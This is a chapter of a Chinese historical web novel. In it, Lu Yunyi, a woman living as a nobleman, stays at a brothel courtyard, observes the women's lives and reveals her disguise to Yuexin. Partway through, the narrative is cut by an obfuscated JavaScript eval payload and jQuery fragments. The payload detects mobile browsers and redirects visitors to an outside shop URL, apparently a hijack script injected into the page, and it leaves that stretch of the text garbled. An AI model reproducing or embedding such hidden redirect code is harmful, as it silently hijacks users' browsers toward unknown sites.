陆云逸在春宜馆住下了几日。
她住的是东厢，窗子推开，正好能看见后院那口井。井沿缺了一角，还是三年前那副模样，旁边的青石板却被踩得更旧，凹进去一块，像许多人的脚印都在这里磨过。
天一亮，前堂的帘子便被卷上去，夜里摆出去的酒壶、果碟、骰盅一件件收回角落，地上溅出来的酒水用井里打上来的凉水冲一遍，脂粉气散掉一些，露出砖缝里原本的潮味。
后院有人蹲着择菜，青菜上的泥落了一地，有人把前夜换下来的衣裳丢进木盆，一面浆洗，一面同隔壁拌嘴。西边小屋躺着个发热的小姑娘，额上压着湿帕子，药炉在门口咕嘟咕嘟冒热气。
阿盲摸着墙去收衣，才摸到井边，便同阿月为了一个铜盆吵起来。阿月说盆是她先拿出来的，阿盲偏说自己先摸着了，越心提着一袋米进门，远远听见，立刻骂她们两个没出息，说一只破盆也值当吵成这样，有这份精神，不如替她把米扛去灶间，省得她胳膊都要掉下来。
她嘴上这样说，走过去时，还是顺手把铜盆往阿盲手边推了推。
白日里的春宜馆，看着同寻常旧院子差不了太多。院里一样有人为米盐发愁，一样有人蹲在井边洗衣、择菜、煎药、骂街，若把那两盏夜里才点的红灯摘得远些，把门边那块写着“春宜馆”的牌子一并遮起来，乍一眼望过去，像哪条巷子里挤挤挨挨住着几户寡妇孤女，日子窄，火气却活。
陆云逸坐在东厢窗下，看着这些零碎光景，心里总有一种说不清的滞涩。三年前的她还太过稚嫩，有些事只能看到表面。
她住下的第二日，便先见着了林鸯鸯。
那时还是白日，院中日光正盛。阿盲的药刚抓回来，纸包上写着几味药名，阿月拿在手里只认识头一个字，正站在灶间门口发愁。有人从后头走来，伸手把药包接过去，低头扫了一眼，便将几包药分开了，一包放在阿盲手边，一包交给灶上熬着药的小丫头，声音轻轻的，说这包是退热的，先煎，另一包要等饭后，火也不能太急。
陆云逸抬眼时，先看见的是那只手。
那手生得好，手指细长，指甲修得干净，这样一双手里拿着的似乎不该是药包，而是团扇、诗册、或者上好的薄胎茶盏。
她顺着那只手往上看，才看见那女子的脸。
那确是一张叫人过目难忘的脸。
眉目生得柔，眼尾微微向下，身上穿的是最普通的青布衣裳，衣襟洗得发白，发上只簪一根木钗，脸上没有半点脂粉，偏偏越是这样，越显得容色出挑。那样的出挑落在这座院子里，几乎像一块无端落进污水里的白玉，叫人一看，便明白桃枝当年为何会把她捡回来。
越心从灶间探出头，一见她便笑骂：“你再慢些，阿盲这药都能放凉了。药铺那老头是不是又同你闲扯了？”
那女子把药递出去，抬眼看她，语气温温的，“阿月在路上挑萝卜，挑得认真，我也不好催。”
阿月立刻叫起来，说自己不过多问了两句价。越心一面笑，一面朝陆云逸那边抬抬下巴，“公子，这是林鸯鸯。去年桃枝带回来的人。”
那女子这才转过身，朝陆云逸行礼，动作平整，“见过公子，您就是之前桃枝姐常说的人吧？”
陆云逸看着她，“你识字？”
“认得一些。”
越心在一旁接话：“她原先不在咱们这边，是别处散出来的。那边的妈妈卷了钱跑了，楼里人七零八落，鸯鸯叫人转手卖了一回，半道上寻了个空子逃出来，逃到河边，饿得站都站不住，被桃枝姐看见，把人带了回来。桃枝姐当时还说，带回来也未必养得活，这种长相，活在外头总招祸。后来养着养着，才晓得她脑子也灵光得很。还识不少字，我们几个也跟着学了不少。”
林鸯鸯听了，只低头去替阿盲理药，并不回嘴。越心见她这副样子，又补一句：“你别瞧她安静，其实聪明的很。”
陆云逸坐在檐下听着，看着这两个性情全不相同的女子站在一处。越心是明亮的，火气、笑意、疲色都挂在脸上，林鸯鸯却像隔着一层薄水，情绪不外露，处事总带着分寸。这样的两个人，说话时并无隔阂，像已经这样来回顶了许久，连互相拆台都拆出了些亲近。
到了晚上，整座院子便换了副面孔。
灯一盏盏点起来，前堂被照得发红。白日里晾在后头的衣裳收了，胭脂盒打开，钗环重新上头，阿月方才还蹲在井边洗菜，入夜便坐到帘子边去，小铃白日里给发热的小姑娘擦汗，夜里也要把领口整理齐整，跟在越心后头给客人添酒。阿盲眼睛坏得厉害，白日里只能摸着墙晒衣，晚上却一样要被人扶去门边坐着，她看不清谁是谁，只能循着声音答话。越心白日里算米价，记药钱，同房东磨租银，夜里脸上扑了粉，眉梢一弯，便又成了那个在灯下劝酒、说笑、替人递台阶的越心。
她们白日里活得像人，夜里便要重新坐回货架上。白日里手里拿的是菜刀、木盆、药包，夜里手里拿的是酒壶、团扇、帕子。白日里她们会为了米少了两升，药贵了十文，在院里骂出一串火星子，到了夜里，谁来都要先笑，笑得不够软，笑得不够甜，价钱都可能往下掉。
连着几日，都是如此。
那夜收得晚。
最后一个客人走时，月亮已经挂上屋檐，院里只剩几盏小灯，光色黄得发旧。
越心带着一身酒气进了东厢，往椅子上一坐，自己给自己倒了半碗凉茶，又给陆云逸倒了一碗。茶是夜里剩下的，早已不温，入口带一点淡淡的苦。越心喝了一口，说这东西醒酒，喝着像药，难怪客人都嫌弃。
“公子。”
越心靠在椅背上，脸上的粉已经掉了大半，露出底下疲乏的肤色。她这些日子夜里陪酒，白日里还要操持院里的杂事，眼下隐隐带着青色，却还是习惯性地先笑了一下。
“你在这儿住了好几天了。”
她拿手指轻轻敲着茶碗边沿。
“怎么样？”
陆云逸沉默片刻，道：“不好。”
越心反倒笑了。
“我就知道。”
她低头看着碗里的茶水，声音轻了些。
“桃枝姐活着的时候，总觉得再熬熬就好了。熬过这一阵，兴许就能找到别的活路。后来熬着熬着，人没了，别的活路也没瞧见。我们这些人有时候也说，明年会不会好一点，后年会不会好一点。可说归说，心里其实都明白。”
她抬起头。
“所以我一直想问你。”
“问什么？”
“你回来以后，到底想做什么？”
越心说这话时，神情难得认真。
“若只是回来看看，给我们留点银子，那倒简单。你当年已经帮过我们一次了，没人能说你什么。”
她顿了顿。
“可我瞧着不像。”
陆云逸看着她，没有回答。
屋里安静下来。
窗外最后一点收拾桌椅的声音也渐渐远了。
“所以我好奇。”
“你到底想做什么？”
陆云逸垂下眼。
她其实也说不清。
陆云逸沉默许久，才道：“我还没想明白。”
越心怔了一下。
“没想明白？”
“嗯。我知道从前那样不够。给你们赎身不够，租院子不够，换良籍也不够。可什么才够，我也没想明白。”
“我还以为你们这些贵人，做什么事都胸有成竹。”
陆云逸道：“我不是神仙。”
“那倒也是。”
越心点点头。
“神仙也未必会管这种事。”
窗外夜色越来越深，院中的灯火也暗下去许多。
越心望着那一点昏黄灯光，说道：“要是我是男人就好了。”
她说完自己先端起茶碗喝了半口，随后又弯了弯嘴角，“可我要真成了男人，说不定比他们还坏。人得了方便，心肠就容易往歪里长。到时候我没准也坐在前堂里挑人，嫌这个不够俊，嫌那个笑得僵，日子一长，还要觉着自己花了银子，天大的理都该在自己这边。”
陆云逸坐在她对面，眼神落在她手边那只粗瓷碗上。
越心也没等她接话，肩膀往后一靠，慢慢把自己这一夜攒下来的酒气和疲意一并吐出来，“可人总得发两句疯，不然这口气压在心里，迟早憋死。说到底，男人总归比女人强。扛包也好，摆摊也好，码头卖力气也好，真穷到只剩一身骨头，出门总还能挣口饭。女人就难。你想靠手吃饭，旁人说你抛头露面，不安分。你想找个男人嫁了，还得受夫家婆家的气，嫁的男人不中用，第一个就把女人卖了。”
她说完，隔了很久，才轻轻叹了一口气，“这世道要是能换换就好了。”
越心低头看着碗中的凉茶，半晌又笑了一下，“公子，我今晚喝多了。这话我说出来，也就是撒酒疯。我这样的女人，还是窑子里的女人，能把眼前这点日子活过去，已经算有本事了。真要换天换地，轮不到我。公子这样的人，兴许还能试试。”
陆云逸抬眼看她。
越心指尖在碗沿上轻轻转了两下：“公子，别这么看我。我们终究是不一样的。我只是经常瞎想。要是哪天那些有钱有势的，别总把人踩在脚底下；穷人也不至于为了几口饭，把老婆孩子都卖出去”
那盏灯烧得不旺，火苗偶尔一晃，便把两个人的影子一并摇动。陆云逸沉默了很长一阵，长到越心以为自己酒意上头，说得太远了，刚想扯开话头，陆云逸才慢慢开口，声音很低。
“你说得很好。”
越心一怔。
陆云逸看着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601580|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，过了片刻，才缓缓道：“若真有那样一天，不论出身高低，不论贫富贵贱，人人都能堂堂正正活着，谁也不必依附谁才能过日子。”
她说得很慢，像是在顺着越心方才那些零零碎碎的话，一点一点把它们理出来。
越心的手停在碗边，半晌没动。屋里那点昏黄灯火落在陆云逸脸上，把她眉眼间那种长久压着的东西都照出来一些。越心忽然觉得，这位公子果然同她认识的那些公子很不一样。那些人偶尔也会说两句怜贫惜弱的漂亮话，话一落地，转头仍去喝酒、听曲、娶妻纳妾，仿佛天下人的苦只是他们席间一道调味。
“可再怎么说，我们还是不一样的。”
“有什么不一样？”
“什么？”
“你总说我同你们不一样。”陆云逸看着她，“哪里不一样。”
越心被问的愣了愣，随即失笑，“这还用问？”
“你生下来就是贵公子，天天有人伺候着，公子你现在看着是落魄了，但你是男人，总有翻身的机会。我们生下来就是穷人家的女儿，生下来就要伺候家里人，等长大了就被卖掉继续伺候别人。我们哪里都不一样。”
屋里已经彻底安静下来，阿月她们大约都睡了，院中只剩风吹过老魁树时一点极轻的沙沙声，陆云逸坐在那里许久没有出声。越心见她沉默，心中反倒生出一点说不出的烦闷，她想把这话揭过去，便听见陆云逸缓缓开口。
“出身就要决定一切吗？”
“那不然呢？”
陆云逸站起身，把门闩重新落实，又把窗子掩得更严了一些。
做完这些，她先是低头，像在想一件很重要的事，想了许久，才抬起手，把外袍解开。
“你要做什么？”越心吃惊道。
陆云逸没有回答。外袍落下后，是更贴身的一层衣裳。陆云逸平日穿着宽袍，看着只是比寻常男人清瘦些。直到此刻，越心才发现她的身形与自己想象中全然不同。肩背宽阔，腰腹紧实，手臂和胸腹都带着常年习武留下的力量感。
陆云逸又沉默片刻，将束身的衣料解开。
越心先还没明白她要做什么，只怔怔看着。待目光落下去，才终于意识到不对。她坐在那里，半点都没动。她看着陆云逸，看着她站在灯下把衣裳重新拢回去，动作有些笨拙。
“瞧见了吗？我们没有什么不同。”陆云逸把衣襟系好，声音很轻。
越心脸上的神情先是空了，她看着陆云逸，目光从她脸上落到她身上，又从身上落回脸上，来回了两遍，像怎么都对不齐。过了片刻，她猛地吸了一口气，身子往前一倾，压着嗓子开口。
“你疯了？”
陆云逸抬眼看她。
越心的声音压得更低，低里又带一点火气。
“这种事你也敢给我看？”
她说这话时，人已经站了起来，在屋里走了两步，又停住。她像一下子坐不住了，手在袖边攥了又松，松了又攥，末了抬手按了按自己额角，像是酒气和方才那一下冲得她头都发胀。
“不然怎么证明给你看？”
越心缓了好一会儿，才重新把那口气理顺。她不再看陆云逸身上，只看她的脸，声音也慢慢沉下去。
“怪不得…”
越心站在那里，声音低下去，像许多原先对不上的地方，忽然一下全对上了。
陆云逸道：“你方才说得对。人活在这世上，原本没有那么多该分高低的道理。有人生来站得高些，有人一落地便掉进泥里，多半也不是他们自己挑的。男人、女人，贵人、贱民，说到底，都是一样的血肉，一样会疼，一样会饿，一样都想活得像个人。”
越心看着陆云逸，有点想哭，张嘴想说点什么，又摇摇头：“我说得对又如何？我终究没法改变这个世道。”
“想改变这样的世道，光靠在屋里叹气没有用。光靠一个人，也没有用。”
越心向来嘴快，少有在舌尖前打转这么久的时候，可这一刻，她是真的不知所措了，她低头看了看桌上那只凉透的茶碗，又抬头去看陆云逸。
“公子，不，我不知道该叫你什么了。但你似乎已经有办法了。”
越心在屋里踌躇片刻，终于下定决心似的说道：“你回来这里一定是想找人帮你完成你的办法吧。无论是出于我自己的希望，还是出于我想报答你当年赎我们出来的恩情，你想要我做什么，我一定帮你。”
“明日开始先不必开门接客了，我需要你做的事，等我筹划几日。”
“好。”越心应了一声。
声音很轻，分量却不轻。
屋里的灯仍旧旧的，茶仍旧凉的，窗外的夜也没有半分改变，但越心的心里却忽然生出一种古怪的感觉，像许多年都只能压在胸口发闷的话，到了这一夜，总算找着了一个能落地的地方。